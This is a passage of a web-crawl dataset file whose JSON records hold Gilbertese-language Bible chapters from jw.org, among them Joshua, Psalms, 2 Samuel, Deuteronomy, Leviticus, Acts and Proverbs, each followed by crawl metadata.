rokoroko i meang ao e reitinako nako Entemeti ao nako Kerirota, are i moan te kawai n ararakea Atummim,+ ao e ruo rikaaki nakon ana atibu+ Bokan+ are tibun Reuben. 18 Ao e reitinako nakon te rabee are mai meang are i moan te Arabaa* ao e ruo rikaaki nakon te Arabaa. 19 Ao e reitinako te tia nakon rabeen Betaokera+ are mai meang, ao e toki te tia n te mwanoku are mai meang are n te Nama ae Taari,*+ n tokin te Ioretan mai maiaki. Anne bon te tia mai maiaki. 20 Ao e riki te Ioretan bwa tiana man te itera are mai mainiku. Anne bon tibwangaia kanoani Beniamin n aia utu nako, ni kaineti ma tiana nako n iterana ni kabane. 21 Ao ana kaawa te baronga ae Beniamin n aia utu nako bon: Ieriko, Betaokera, Emekatiti, 22 Betarabaa,+ Temeraim, Betaera,+ 23 Awim, Biira, Obera, 24 Kebaraammoni, Obenai, ao Keeba.+ Boni kaawa aika 12 ma taabo ni maeka ake iai. 25 Kibeon,+ Rama, Beerota, 26 Mitibe, Kebira, Motia, 27 Rekem, Irebeera, Tarara, 28 Tieraa,+ Aereba, Iebuti, ae taekan Ierutarem,+ Kibea,+ ao Kiriata, boni kaawa aika 14 ma taabo ni maeka ake iai. Anne bon tibwangaia kanoani Beniamin n aia utu nako.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iotua\/18\/","date":"2018-01-21T07:34:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890314.60\/warc\/CC-MAIN-20180121060717-20180121080717-00328.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":792,"character_repetition_ratio":0.063,"word_repetition_ratio":0.003,"special_characters_ratio":0.243,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nAna anene Tawita. 141 I weweteiko ngkoe ae Iehova.+ Bareiko ni buokai.+ Ao kakauongo ngkana I weteiko.+ 2 E bia riki au tataro bwa ai aron te bwai ae boiarara+ ae katauraoaki i matam,+Ao baiu aika tabekakirake bwa ai aron te karea ae te amwarake* n te tairiki.+ 3 Buokai n tararuaa wiu, ngkoe ae Iehova,Ao buokai ni kawakin riau.+ 4 Tai kariaia bwa e na anaaki nanou nakon te bwai teuana ae buakaka,+Ao n uataboi aia mwakuri aika rangi ni bubuaka mwaane aika buakaka,Ao I bia aki katoong aia amwarake aika kangkang. 5 Ngkana e oreai te aomata ae raoiroi, ao bon te mwakuri ae kaota te tangira ae koaua,*+Ngkana e boaai, ao ai aron te bwaa i aon atuu,+Ae e na aki rawa nako iai atuu.+ E na teimatoa naba au tataro i nanon taini karawawataaia. 6 E ngae ngkana a karenakoaki aia tia moti man te bwaa ae katati,Ma a na boni mutiakin naba au taeka aomata, bwa a kakukurei. 7 N aron te aomata ngkana e kamaraua te tano ma ni katabwenaa,Ao ai aron naba riira ae kamaeinikunaki i matan te Ruanimate.* 8 Ma a tarataraiko matau, ngkoe ae Iehova ae te Uea ae Moan te Rietata.+ I karikiko bwa au tabo ni kamanomano. Tai uotaanako maiuu.* 9 Kamanoai mani mwangain te bwai ni kamwane are a kawenea imwaiu,Ao man aia kai ni kabwaru taani kakaraoa ae buakaka. 10 A na bwaka akana buakaka ni kabane nako nanon oin aia karaun,+Ao ngai, I rirarikini baikai n akea au kangaanga.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/141\/","date":"2018-01-21T07:34:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890314.60\/warc\/CC-MAIN-20180121060717-20180121080717-00328.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":277,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n10 Imwina riki ao e a mate aia uea tibun Ammon,+ ao e a riki natina are Anun bwa te uea n onea mwina.+ 2 Ngaia are e taku Tawita: \"N na kaotiota nakon Anun are natin Naati te tangira ae koaua,* n aron tamana ngke e kaotiota nakoiu te tangira ae kona n onimakinaki.\" Mangaia are e a kanakoia ana toro Tawita bwa a na kabebetea nanon teuaei ibukini buan tamana. Ma ngke a a rin ana toro Tawita i abaia tibun Ammon, 3 ao a taku aia mataniwi tibun Ammon nakon Anun are aia toka: \"N am iango e karinea tamam Tawita ngkai e kanakoia taani karaunano nakoim? Ao tiaki n ae e kanakoia ana toro Tawita nakoim bwa a na taraa raoi aron te kaawa, ao ni karaba n tuoa bwa a aonga ni kamauna?\" 4 Ao Anun e anaiia ana toro Tawita ao e imani iterani buaia+ ao e korouai aia kunnikai mai nukaia ni karokoa aoni bukia, ao e kanakoia. 5 Ngke e kaongoaki Tawita, ao e aki tabwara ma e a kanakoia naba mwaane bwa a na kawariia, ibukina bwa a a rangi ni bwaibwainrang mwaane akekei, ao e tuangia ni kangai te uea: \"Tiiku i Ieriko+ ni karokoa manga rikini buaimi, ao imwina kam a oki.\" 6 Imwina riki ao a a ataia tibun Ammon bwa a a ribaaki iroun Tawita, ngaia are a a kanaanako tibun Ammon bwa a na kabooia I-Turia ake i Betareoba,+ ao I-Turia ake i Tobaa,+ aika tautia aika taan rianna aika 20,000, ao ueani Maaka+ ma mwaane aika 1,000, ao mwaane mai Ititooba* aika 12,000.+ 7 Ngke e ongo taekan aei Tawita, ao e kanakoa Ioaba ma kaain te taanga ni buaka ni kabane, n ikotaki ma ana tia buaka ake taiani kabanea ni korakora.+ 8 Ao a otinako tibun Ammon ao a baireiia raoi ni baireaia taani buaka i rarikini mataroan oon te kaawa, ngke a mena i bon irouia n te tawaana I-Turia ake i Tobaa ma ake i Reoba, ao n ikotaki ma kaain Ititooba,* ao ai Maaka. 9 Ngke e noria Ioaba bwa a a ienikuri tautia n roko bwa a na buakanna mai moa ao mai buki, ao e a rineiia naba tabeman mai buakoia kaain te taanga ni buaka aika taiani kabanea ni mwaatai i Iteraera, ao e baireiia bwa a na kaaitaraia I-Turia.+ 10 E katikuia mwaane ake nikiraia i aan ana kairiri* tarina are Abitiai,+ bwa a na baireiia raoi bwa a na kaaitaraia tibun Ammon.+ 11 Ao e taku: \"Ngkana a a rangi ni korakora riki nakoiu I-Turia, ko riai ngkanne n roko ni kamaiuai, ma ngkana a a rangi ni korakora riki nakoim tibun Ammon, ao N na roko ni kamaiuko. 12 Ti riai ni kakorakoraira ao ni kaninikoriaira+ ibukia ara aomata ao ibukin ana kaawa nako Atuara, ao Iehova e na karaoa ae taku bwa e raoiroi.\"+ 13 Ao e keerake Ioaba ma ana rorobuaka bwa a na buakania I-Turia, ao a a birinako mai mwaina.+ 14 Ngke a noria tibun Ammon bwa a birinako I-Turia, ao a birinako mairoun Abitiai ao a rinnako n te kaawa. Imwin anne ao e a oki Ioaba mairouia tibun Ammon ao e a roko i Ierutarem. 15 Ngke a noria I-Turia bwa a konaaki irouia tibun Iteraera, ao a a manga ikotaki riki.+ 16 Mangaia are e a kanaanako Atatetera+ nakoia I-Turia ake n aonon te Karaanga,*+ ao a a roko i Eeram, ao e kairiia Tiobaka are mataniwin ana taanga ni buaka Atatetera. 17 Ngke e a kaongoaki aei Tawita, ao e aki tabwara ma e a ikotiia naba tibun Iteraera ni kabane ao a rinanon te Ioretan nakon iterana are teuana, ao a a roko i Eeram. A a baireiia raoi ngkai I-Turia ni baireaia taani buaka bwa a na kaitaraa Tawita ao ni buakanna.+ 18 Ma a birinako I-Turia mairouia tibun Iteraera, ao Tawita e kamateia 700 taan toka i aon te kaa ni buaka ao 40,000 taan toka i aoia aoti, mai buakoia I-Turia, ao e kamatea ikekei Tiobaka are mataniwin aia taanga ni buaka.+ 19 Ngke a a noria ueea ni kabane ake ana toro Atatetera bwa a konaaki irouia tibun Iteraera, ao a waekoa ni karekea te raoi ma tibun Iteraera ao a a riki bwa aia toro,+ ao a a maaku I-Turia ni manga buokiia riki tibun Ammon.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-tamuera\/10\/","date":"2018-01-16T09:32:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00538.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":736,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n13 \"Ngkana e teirake i buakomi te burabeti temanna, ke te aomata ae taekini kanoan taai aika a na roko n te mii, ao e anganingkami te kanikina ke te bwai ae kamimi, 2 ao e koro bukin te kanikina ke te bwai ae kamimi are e taekinna nakoimi n te tai are e kangai iai, 'Ti a nako ni kakairi irouia atua riki tabeman ake atua ake kam aki kinaia, ao ti na toro irouia,' 3 kam na tai ongo n ana taeka te burabeti anne ke te tia mii anne,+ bwa e kataingkami Iehova ae Atuami,+ bwa e na ataia bwa kam tangira Iehova ae Atuami ma nanomi ni kabane ao maiumi* ni kabane, ke kam aki.+ 4 Kam riai ni kakairi iroun Iehova ae Atuami, kam riai ni maakua, kam riai ni kawakin ana tua, kam riai n ongo ni bwanaana, ao boni ngaia ae kam riai n toro irouna, ao kam riai n nimtia.+ 5 Ma e bon riai ni kamateaki te burabeti ke te tia mii anne,+ ibukina bwa e kaungaa te karitei nakon Iehova ae Atuami are kairingkami ni kaotinakoingkami man te aba are Aikubita, ao e a manga kabooingkami man te auti n toronaki. E kataia teuanne ni katannakoingkami man te kawai are e tua Iehova ae Atuami bwa kam na nakonako iai. Kam riai ni kanakoa te bwai ae buakaka mai buakomi.+ 6 \"Ngkana e kataia ni karaba n anai nanomi tarimi ae natin tinami, ke natimi te mwaane ke natimi te aine, ke buumi aika tangiraki, ke raoraomi ae kam rangi ni kaan ma ngaia, ni kangai, 'Ti a nako n toro irouia atua riki tabeman,'+ ake atua ake kam aki kinaia ao a aki naba kinaaki irouia ami bakatibu, 7 mai buakoia atuaia botannaomata akana i rarikimi ni kabutaa, ake tao a kaan ke ake a raroanako ma ngkami, mai tabon te aba nakon tabona are teuana, 8 ao kam na tai ira nanona ke n ongo irouna,+ ke ni kaota te nanoanga ke n atataiaomata nakoina ke ni kamanoa, 9 ma kam bon riai n tiringnga.+ Kam riai ni moani karebanaia n atibu n uaa matena, ao imwina a na karebanaia aomata ni kabane.+ 10 Ao kam riai ni karebanaia n atibu n uaa matena,+ ibukina bwa e a tia n ukoukora tannakomi mairoun Iehova ae Atuami, are kairingkami ni kaotinakoingkami man te aba are Aikubita, man te auti n toronaki. 11 Ao ane a na bane n ongo tibun Iteraera ao a na maaku, ao a na aki manga karaoa te bwai ae buakaka ae aron aei i buakomi.+ 12 \"Ngkana kam ongo bwa e taekinaki ae kangai n te kaawa teuana mai buakon ami kaawa, ae e a anganingkami Iehova ae Atuami bwa kam na maeka iai, 13 'A a kaoti mwaane mai buakomi aika akea uaaia, ao a kataia ni katannakoia kaain aia kaawa ni kangai: \"Ti a nako n toro irouia atua riki tabeman,\" ake atua ake kam aki kinaia,' 14 ao kam riai n nenera taekan anne, ni karaoa te kakaae raoi i aona ao n titiraki,+ ao ngkana e a bon tia ni karaoaki te bwai ae riribaaki aei i buakomi ao ni kamatoaaki bwa e boni koaua, 15 kam bon riai ngkanne n oreiia kaain te kaawa anne n te kabaang.+ Kamauna n te kabaang ma bwaai nako ake iai n ikotaki ma te nanai are iai.+ 16 Kam na rikoi ngkanne bwaai ni kuri ni kabane ake iai nako nukani maraen te kaawa, ao kabueka te kaawa n te ai, ao a na riki bwaai ni kuri ake iai bwa te karea ni kabuekaki nakon Iehova ae Atuami. E na teimatoa n riki bwa te bwariko n atibu. E aki riai ni manga kateaki. 17 E aki riai baimi n anaa te bwai teuana ae kaokoroaki ibukin te kamaunaaki,+ bwa e aonga n rairakinako Iehova man uraraken unna, ao ni kaota nakoimi te nanoanga ao te atataiaomata ma ni kamwaitingkami, n aron are e taetae n tuea iai nakoia ami bakatibu.+ 18 Bwa kam riai n ongeaba* iroun Iehova ae Atuami, ni kawakin ana tua nako aika I tua nakoimi n te bong aei, ni karaoa ae eti i matan Iehova ae Atuami.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/13\/","date":"2018-01-22T20:54:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891539.71\/warc\/CC-MAIN-20180122193259-20180122213259-00670.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":718,"character_repetition_ratio":0.072,"word_repetition_ratio":0.037,"special_characters_ratio":0.238,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n5 \"'Ngkana iai temanna* ae bure ibukina bwa e ongo te wewete nakoia aomata nako bwa a na anga te kakoaua,*+ ao boni ngaia te tia kakoaua bwa e nora ke e ongo te bwai ae riki ma e aki kaotia, ao ngkanne e na katuuaaeaki ibukin ana bure. 2 \"'Ke ngkana e ringa te bwai ae kamwara te aomata,* ae rabwatan te man ae aki itiaki ae moaanti ae mate, te man ae aki itiaki ae manana, ke te man temanna ae aki itiaki mai buakon te nna ni man* aika mwamwae,+ ao e bon aki itiaki iai ao e bure iai e ngae ngke e aki ataia. 3 Ke ngkana iai ae e ringa te bwai ae kamwara e ngae ngke e aki ataia, ae irekereke ma bwain rabwatan te aomata+ ke te bwai ae aki itiaki are e kona ni kamwara iai, ao e a tibwa ota n te bwai are e karaoia, ao e boni bure iai. 4 \"'Ke ngkana iai temanna* ae taetae n tuea n aki iango moa, ni kaineti ma karaoan te bwai teuana ae tao ae raoiroi ke ae buakaka, n aki ongeia bwa tera, ao e aki ataia, ma e a ataia imwina ae e taetae n tuea n aki iango moa, ao e boni bure* iai.+ 5 \"'Ngkana e bure n te bwai teuana mai buakoni baikai, ao e na kaota+ te aro are e bure iai. 6 E na kaira naba ana karea nakon Iehova ibukin te bure are e karaoia+ ae te karea ni kabooa mwin te bure, ae te man ae te aine man te nanai, ae te tiibutetei ae te aine ke te kooti aine ae ataei, ibukin te karea ni kabwarabure. Ao e na karaoia te ibonga* ibukini karekeani kabwaraan ana bure te aomata anne. 7 \"'Ma ngkana e aki kona ni kabooa te tiibu, e riai n uotii taobe aika uoman ke bitin aika uoman aika ataei+ nakon Iehova bwa ana karea ni kabooa mwin te bure, temanna ibukin te karea ni kabwarabure ao are temanna ibukin te karea ni kabuekaki.+ 8 E na uotii nakon te ibonga, are e na anga moa temanna bwa te karea ni kabwarabure ao ni kinika roroana ni kanakoa, ma e aki riai ni kouta matanriana. 9 E na katimtimwa teutana raraan te karea ni kabwarabure i aon oon rarikin te baonikarea, ma e na kawawaeaanako nikirana i oin te baonikarea.+ Bon te karea ni kabwarabure te baei. 10 E na anga are temanna bwa te karea ni kabuekaki n aron tuana,+ ao e na karaoia te ibonga ibukini karekeani kabwaraan te bure are e karaoia te aomata anne, ao e na kabwaraaki ana bure.+ 11 \"'Ma ngkana e aki kona ni kabooi taobe aika uoman ke bitin aika uoman aika ataei, ao e riai n uota te burawa ae mte ae teuana katebwinani mwakoron te eba*+ bwa te karea ni kabwarabure ibukin ana bure. E aki riai ni kabwaroa te oera i aona ke ni kaaki te ribano* i aona, bwa bon te karea ni kabwarabure te baei. 12 E na uotia nakon te ibonga, ao e na anaa te abutana mai iai te ibonga bwa e na tei ibukin te karea anne, ao e na kabuekia ni kabubua i aon te baonikarea i aoni karea ake a kareanaki n te ai nakon Iehova. Bon te karea ni kabwarabure te baei. 13 E na karaoia te ibonga ibukini karekeani kabwaraan te bure are e karaoia te aomata anne, ae teuana mai buakoni buure aikai, ao e na kabwaraaki ana bure.+ Bon tibwangan te ibonga nikiran te karea ni kabwarabure+ n aron naba te karea ae te amwarake.'\"+ 14 E reitia ni kangai Iehova nakoni Mote: 15 \"Ngkana iai temanna* ae aki kakaonimaki n arona ni karaoa te bure n tiaki nanona ni kaineti ma ana bwai Iehova aika tabu,+ e na kaira ana karea nakon Iehova ae te karea ni kabooa mwin te bure, ae te tiibu mwaane ae marurung raoi man te nanai,+ ae botau boona ma ae katauaki n taian tiekera* n tirewa, ae te tiekera ae kakabonganaaki n te tabo ae tabu.*+ 16 Ao e na kabooa mwin te bure are e karaoia ni kaineti ma te tabo ae tabu ao e na raonna naba ni kanimamwakoroni boona.+ E na angan te ibonga, bwa e aonga ni karaoia te ibonga ibukini karekeani kabwaraan ana bure te aomata anne,+ n te tiibu mwaane ae te karea ni kabooa mwin te bure, ao e na kabwaraaki ana bure.+ 17 \"Ngkana iai temanna* ae bure n arona ni karaoa te bwai teuana mai buakoni bwaai ni kabane ake e tua Iehova bwa a aki riai ni karaoaki, ao e boni bure iai e ngae ngke e aki ataia, ao e na katuuaaeaki ibukin ana bure.+ 18 E riai ni kaira nakon te ibonga te tiibu mwaane ae marurung raoi man te nanai ae botau ma boona ae katautauaki, bwa te karea ni kabooa mwin te bure.+ Ao e na karaoia te ibonga ibukini karekeani kabwaraan te bure are e karaoia te aomata anne n tiaki nanona, ma e aki ataia, ao e na kabwaraaki ana bure. 19 Bon te karea ni kabooa mwin te bure te baei. E boni bure iai nakon Iehova.\"\n^ Ebera, \"te bwanaa ni karereanti (taetae n tuea).\" Tao te katanoata ni kaineti ma te bure ae karaoaki ae irekereke ma te taeka ni karereanti nakon te tia bure ke nakon te tia kakoaua ngkana e aki anga ana kakoaua.\n^ N te taetae n Ebera ao e kaineti nakoia maan aika uarereke aika mwaitikurikuri aika a kiribobotaki aika kona ni kuneaki n te ea, i taari, ke i aon te aba.\n^ E riki anne bwa e taraa n ae e aki kakoroa nanon ana taetae n tuea.\n^ Nora Nanon Taeka.\n^ Nora Nanon Taeka.\n^ Ke, \"te tiekera ae tabu.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/5\/","date":"2018-01-20T14:17:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00001.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":989,"character_repetition_ratio":0.098,"word_repetition_ratio":0.036,"special_characters_ratio":0.242,"stopwords_ratio":0.488,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n25 Ma tenibong imwin rokoni Beteto+ bwa te tia tautaeka n te aono,* ao e a waerake nako Ierutarem mai Kaitareia. 2 Ao a kaota bukinani Bauro+ nakoina mataniwi n ibonga* ma I-Iutaia ake a kakannato riki. Mangaia are a bubutiia Beteto 3 bwa e na irii nanoia ni kanakoa Bauro nako Ierutarem. Ma a bon iangoia bwa a na karana Bauro ao ni kamatea i aoni kawaina.+ 4 Ma e kaekaia Beteto bwa e na kawakinaki Bauro i Kaitareia, bwa e nangi bon oki ngaia nako ikekei. 5 E taku: \"Ke a irai ami tia kairiri bwa a na bukina teuaei ngkana ngaia bwa bon iai ana bure.\"+ 6 Ao ngke e a tia ni mena i buakoia i nanoni wanibong ke tengaun te bong, ao e a nako Kaitareia, ao n te bong are imwina e a tekateka i aon te bao ni motikitaeka ma n tua bwa e na karinaki Bauro. 7 Ngke e a rin Bauro ao a a otabwaninia teuaei I-Iutaia ake a roko mai Ierutarem, ao a tabeki bukinana aika bati aika rawawata, ma a aki kona ni kaotii koauaia.+ 8 Ma e kaekaa bukinana Bauro ni kangai: \"I aki bure nakon aia Tua I-Iutaia ke nakon te tembora ke nakoni Kaitara.\"*+ 9 E kani karekea tangirana Beteto irouia I-Iutaia+ ngaia are e a kaeka nakoni Bauro ni kangai: \"Ko kani waerake nako Ierutarem bwa e na motikaki taekam i matau ikekei ni kaineti ma baikai?\" 10 Ma e taku Bauro: \"I a tei ngkai i matan ana bao ni motikitaeka Kaitara* ike e riai motikan taekau iai. Akea te kairua ae I karaoia nakoia I-Iutaia, n aron ae ko bon ataia naba. 11 Ngkana ngaia bwa te tia bure ngai ae I a tia ni karaoa te bae riai mateu+ iai, ao I aki rawa ni kamateaki. Ma ngkana bon akea koauani baika a taekin taani bukinai aikai, ao bon akea te aomata ae iai riaina ni kabureai nakoia ibukini karauan nanoia. I bubutii bwa N na tei i matani Kaitara!\"*+ 12 Ngke e a tia Beteto ni maroro ma kaain ana kaboowi ao e kaeka ni kangai: \"Ko bubutii bwa ko na tei i matani Kaitara,* mangaia ae ko na nakoni Kaitara.\" 13 Tabebong imwina, ao e a roko i Kaitareia Akeriba are te uea ma Nei Berenike, bwa a na kawara Beteto bwa kaotani karineana n nakoana. 14 Kioina ngke a tiku ikekei i nanon tabebong, ao Beteto e a karakina taekani Bauro nakon te uea ni kangai: \"Iai te mwaane temanna ae katikua Berika bwa te bure, 15 ao ni menau i Ierutarem, a uota taekana+ mataniwi n ibonga ma aia unimwaane I-Iutaia, ni bubutii motikan taekana bwa e na kabureaki. 16 Ma I tuangia bwa tiaki katein Rom bwa e na kabureaki te aomata ibukini karauan nanoia taani bukinna, ngkana e tuai moa n itaramata ma taani bukinna ao ni kaekaa bukinana.+ 17 Mangaia are ngke a a roko ikai ao I aki tabwara ma I a tekateka naba n te bong are imwina n te bao ni motikitaeka ma n tua bwa e na karinaki teuaei. 18 A teirake taani bukinna, ma bon akea bukinana ni baika bubuaka ake I kantaningaia bwa e bure iai.+ 19 A bon tii kauntaeka ma ngaia ni kaineti ma aia Aro,* ao ni kaineti ma te mwaane ae arana Iesu+ are e a tia ni mate, ma e teimatoa Bauro n taekinna bwa e maiu.+ 20 Ma kioina ngkai I aki ataa raoi aroni kaetan te kauntaeka aei, I a tuanga Bauro bwa e kan nako Ierutarem bwa e na motikaki taekana ikekei ibukini baikai,+ ke e aki. 21 Ma ngke e bubutii Bauro bwa e na motikaki taekana iroun Teuare Karineaki,*+ ao I tua bwa e na kawakinaki ni karokoa kanakoana irou nakoni Kaitara.\"* 22 Ao e taku Akeriba nakoni Beteto: \"I kan ongora iroun teuanne.\"+ E taku Beteto, \"Ko a ongora irouna ningabong.\" 23 Mangaia are n te bong are imwina, ao a a roko Akeriba ma Berenike ma te kainikatonga ae bati irouia, ao a rinnako n te tabo ni boowi ma mataniwi n te taanga ni buaka ao mwaanen naba te kaawa aika kakannato, ao e a karinaki Bauro ngke e tua Beteto. 24 Ao e taku Beteto: \"Te Uea ae Akeriba ao ngkami ni kabane aika kam mena ikai ma ngaira, kam nora teuaei, bwa a bane ni kawarai ibukina te koraki n I-Iutaia ae bati i Ierutarem ao ikai, ma n tatakaruaea ae e aki riai ni maiu.+ 25 Ma I noria bwa akea te bwai ae e karaoia ae riai matena iai.+ Ai ngaia are ngke e bubutii bwa e na motikaki taekana iroun Teuare Karineaki,* ao I baireia bwa N na kanakoa. 26 Ma I aki ataa raoi te bwai ae N na koreia ibukin teuaei nakon au Uea. Mangaia ae I a kairia nako matami ngkami ni kabane, riki nako matam ngkoe te Uea ae Akeriba, bwa e aonga n reke te bae N na koreia ngkana e tia neneran taekana. 27 Bwa e aki riai irou bwa N na kanakoa te aomata ae te bure n aki kaotii baike e bukinaki iai.\"\n^ Are aonon Iutaia, ma Kaitareia bon te kaawa are e maeka iai te kowana.\n^ Nora Nanon Taeka, \"Mataniwi n ibonga.\"\n^ Ke, \"taromaurian atuaia.\"\n^ Te ara n nakoa ibukin te Embera n Rom.\n^ Te ara n nakoa ibukin te Embera n Rom.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mwakuri\/25\/","date":"2018-01-17T08:16:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886830.8\/warc\/CC-MAIN-20180117063030-20180117083030-00234.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":908,"character_repetition_ratio":0.052,"word_repetition_ratio":0.007,"special_characters_ratio":0.244,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n28 A birinako akana buakaka ngkana akea ae e kaeiia,Ma a ninikoria akana raoiroi n ai aron te raian.*+ 2 Ngkana iai te bure* n te aba, ao e na kaoti iai te natinuea te mwaane temanna imwin temanna,+Ma e na teimatoa te natinuea* n ana ibuobuoki te mwaane ae ataibwai ma n atatai.+ 3 Te mwaane ae maiu ni kainnano ae babakanikawaiia akana mangori,+Kaanga ai aron te karau ae uotiinako amwarake ni kabane. 4 A kamoamoaa te aomata ae buakaka te koraki aika kaaki taekan te tua,Ma a un irouia nakanne te koraki ake a kakairi n te tua.+ 5 A aki kona n ota n te kaetitaeka ae riai mwaane aika buakaka,Ma a kona n ota ni bwaai ni kabane te koraki aika ukoukora Iehova.+ 6 E raoiroi riki te aomata ae maiu ni kainnano ae nakonako ma etin aronaNakon te aomata ae kaubwai ae a buakaka arona nako.+ 7 E kakairi n te tua te nati ae ataibwai,Ma e kabwainranga tamana te aomata ae raoraoia akana buabeka.+ 8 Ane e kabatiaa kaubwaina n te bakao+ ao n te kataarau ae bati te raka iai,Ao e bon ikotii bwa ana bwai te aomata ae akoiia akana maiu ni kainnano.+ 9 Ane e aki kan ongo te tuaAo e riribaaki naba ana tataro.+ 10 Ane e burebureiia akana raoiroi nakon te kawai ae buakaka ao e na bwaka n oin ana mwarua,+Ma a na bwaibwai n te bwai ae raoiroi akana akea kabuakakaaia.+ 11 E iangoia te aomata ae kaubwai bwa e wanawana,+Ma e kona n ataa raoi arona te aomata ae maiu ni kainnano ae ataibwai.+ 12 Ngkana a tokanikai akana raoiroi ao e bati te karineaki, Ma ngkana a reke mwaakaia akana buakaka ao a karabaia aomata.+ 13 Ane e karabai ana bure ao e na aki nakoraoi arona,+ Ma ane e kaotii ma ni kitan ao e na nanoangaaki.+ 14 E a kukurei te aomata ae tantani* n taai nako,Ma e na reke n te kabuanibwai ane e kamatoaa nanona.+ 15 N aron te raian ae bekorara ao te bea ae kabanea birina,Ao ai aron naba te tia tautaeka ae buakaka i aoia aomata aika akea korakoraia.+ 16 E kabongana buaka mwaakana te tia kairiri ae akea ana ataibwai,+Ma e na abwabwaki maiun ane e ribaa te raka ae reke n te babakanikawai.+ 17 Te aomata ae karawawataaki n te bure ni katuturaraa ibukini maiun* te aomata temanna, e na teimatoa ni bibirinako ni karokoa te ruanimate.*+ Akea ae e na boutokaia. 18 E na kamaiuaki ane e nakonako n akea kabuakakaana,+Ma e na rina ni bwaka ane a bwaoua kawaina.+ 19 E na bati kanan te aomata ae ribanaa abana. Ma ane e uaiakini baika akea manenaia ao e na korakora karakon ana bwai.+ 20 A na reke kakabwaia aika bati iroun te aomata ae kakaonimaki,+Ma e na reke n te bure ane e ienikuria te kani kaubwai.+ 21 E aki raoiroi kaotiotan te inanonano.+ Ma e kona te aomata ni karaoa ae bure tii ibukin teuana te mwakoro ni kariki. 22 E ingainga ni karekea te kaubwai te aomata ae mamataai,*Ao e aki ataia ae e na taonakinako ni karakon ana bwai. 23 Ane e boaa te aomata+ ao e na reke riki akoana imwina+Nakon te aomata ae taetae ni karang n newena. 24 Ane e kuribwaia tamana ma 